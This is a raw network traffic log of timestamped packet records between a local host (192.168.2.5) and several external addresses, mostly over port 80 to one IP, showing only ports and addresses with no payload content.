Nov 28, 2024 06:48:34.750518084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.750545979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.750983953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.755337954 CET	443	49818	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.787122011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.787139893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.787152052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.787163973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.787180901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.787219048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.787364006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.787441969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.787487984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.789068937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.789088964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.789103985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.789119005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.789141893 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.789184093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.789850950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.789880037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.789917946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.789932013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.790646076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.790662050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.790699959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.858164072 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:34.858191013 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:34.858206987 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:34.858268976 CET	49776	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:34.858282089 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:34.858345985 CET	49776	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:34.863792896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.863882065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.863882065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.863955021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.864216089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.864264965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.864269972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.864352942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.864972115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.865039110 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.865078926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.865123034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.865755081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.865875006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.865928888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.866555929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.866610050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.866611004 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:34.866662979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.866677046 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:34.866705894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.866731882 CET	49776	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:34.867394924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.867500067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.867563009 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.867672920 CET	49776	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:34.867682934 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:34.867695093 CET	49776	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:34.867700100 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:34.868221998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.868273973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.868335009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.868381023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.869034052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.869095087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.869128942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.869170904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.869853973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.869904041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.869945049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.869985104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.870654106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.870785952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.870826006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.870883942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.871490002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.871541977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.871581078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.871623039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.872309923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.872411013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.872414112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.872453928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.873131990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.873195887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.873238087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.873409986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.873929024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.873980999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.874018908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.874059916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.874716043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.874815941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.874871969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.875540972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.875593901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.875636101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.875864983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.876338959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.876398087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.876437902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.876482964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.877159119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.877243996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.877279043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.877371073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.877999067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.878056049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.878093958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.878143072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.878781080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.878830910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.878895044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.878946066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.879617929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.879749060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.879766941 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.879810095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.880429983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.880512953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.880537987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.880620003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.881232977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.881288052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.881334066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.881380081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.882030010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.882139921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.882165909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.882180929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.882899046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.882951021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.882963896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.883014917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.883682966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.883820057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.883872032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.884484053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.884588003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.884613037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.884625912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.885312080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.885370970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.885411978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.885452986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.886190891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.886307001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.886308908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.886346102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.887053013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.887113094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.887159109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.887257099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.926053047 CET	443	49817	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.926121950 CET	443	49817	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.926378012 CET	49817	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.927756071 CET	49817	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.927774906 CET	443	49817	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.927784920 CET	49817	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.927791119 CET	443	49817	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.932697058 CET	49828	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.932724953 CET	443	49828	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.932786942 CET	49828	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.933299065 CET	49828	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.933311939 CET	443	49828	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.939347982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.939428091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.939508915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.939765930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.939917088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.939920902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.939980030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.942454100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.942498922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.942595959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.942636013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.942679882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.942692041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.942723036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.942821980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.942833900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.942863941 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.942889929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.943010092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.943065882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.943068981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.943113089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.943789005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.943903923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.943928957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.943983078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.944607973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.944658041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.944722891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.944766045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.945416927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.945465088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.945550919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.945596933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.946266890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.946315050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.946384907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.946577072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.947063923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.947133064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.947154045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.947192907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.947859049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.947932959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.947964907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.948008060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.948673964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.948760033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.948791027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.948834896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.949506044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.949574947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.949656010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.949796915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.950290918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.950346947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.950406075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.950496912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.951102018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.951147079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.951205969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.951373100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.951869011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.951913118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.951947927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.951999903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.987931013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.987947941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.987993956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.988137960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.988181114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.988270044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.988385916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.988943100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.989089966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.989139080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.989795923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.989850998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.989887953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.989928007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.990586996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.990724087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.990973949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.991415977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.991520882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.991540909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.991592884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.992203951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.992249966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.992280006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.992324114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.047108889 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:35.048007011 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:35.048026085 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:35.048398018 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:35.048996925 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:35.049061060 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:35.049319029 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:35.049400091 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:35.049406052 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:35.065191984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.065249920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.065279961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.065303087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.065567970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.065612078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.065660000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.065793037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.066378117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.066473007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.066499949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.066514015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.067182064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.067226887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.067284107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.067342043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.068002939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.068078995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.068123102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.068814039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.068859100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.068892956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.068936110 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.069633007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.069683075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.069771051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.069814920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.070441961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.070487022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.070548058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.070590019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.071243048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.071290016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.071376085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.072063923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.072087049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.072127104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.072158098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.072197914 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.072938919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.072966099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.072993040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.073005915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.073694944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.073761940 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.073816061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.073858976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.074506044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.074553967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.074605942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.074687004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.075321913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.075365067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.075416088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.075575113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.076132059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.076189995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.076226950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.076267958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.076967001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.077035904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.077043056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.077090025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.077749014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.077811956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.077847004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.077887058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.078564882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.078634977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.078741074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.078794956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.079564095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.079611063 CET	49750	80	192.168.2.5	185.215.113.206
